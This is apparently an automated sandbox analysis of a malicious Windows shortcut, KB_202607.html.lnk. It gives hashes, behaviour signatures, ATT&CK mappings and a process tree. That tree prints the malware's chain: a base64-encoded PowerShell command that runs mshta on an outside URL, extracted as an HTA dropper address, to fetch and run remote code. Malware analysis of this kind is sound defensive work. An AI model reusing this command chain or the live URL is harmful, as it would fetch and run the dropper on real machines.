b12ff6bfdaefc7ab7822a8857f805989d822f9646b30b5dbf87d9d89e51c1fac

Analysis

max time kernel
149s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/07/2026, 00:17

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General

Target
KB_202607.html.lnk
Size 1KB
Sample260727-ak87cser91
SHA256 b12ff6bfdaefc7ab7822a8857f805989d822f9646b30b5dbf87d9d89e51c1fac
MD5 fa506a093f9dfc276dbaf84cc42c8536
SHA1 7b30ff86acf3702809287e47e7a121e7c1711947
SHA512 10a39cc806b227f67239105babbbb5e5cc839b07ca47d6d5bcb3b6b2fdf35705e7a0cba3ded90a9e3e2089b5a970e256d6d4c50242fc5e43b97beb2d00e2cb04
TLSH
T1B03142140DF20269E277CB3A27FBB713A532F915AA07099C52C053446C50604FC76F6F
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://link24.kr/ET0vZjz

Signatures

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5604	mshta.exe
3	5604	mshta.exe
5	5604	mshta.exe
6	5604	mshta.exe
7	5604	mshta.exe
8	5604	mshta.exe
9	5604	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4628	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3956	powershell.exe
3956	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3956	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4628 wrote to memory of 3956	4628	cmd.exe	90
PID 3956 wrote to memory of 5604	3956	powershell.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\KB_202607.html.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JgAgACAAIABtAHMAYABoAHQAYQAgACAAIAAiAGgAdAB0AHAAcwA6AC8ALwBsAGkAbgBrADIANAAuAGsAcgAvAEUAVAAwAHYAWgBqAHoAIgA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3956
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://link24.kr/ET0vZjz
    3⤵
    - Badlisted process makes network request
    PID:5604

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3956-2-0x00007FF805F9F000-0x00007FF805FA0000-memory.dmp

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memory/3956-5-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp

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memory/3956-7-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp

Download

memory/3956-6-0x000001CDAD0D0000-0x000001CDAD0F2000-memory.dmp

Download

memory/3956-8-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp

Download

memory/3956-11-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp

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memory/3956-10-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp

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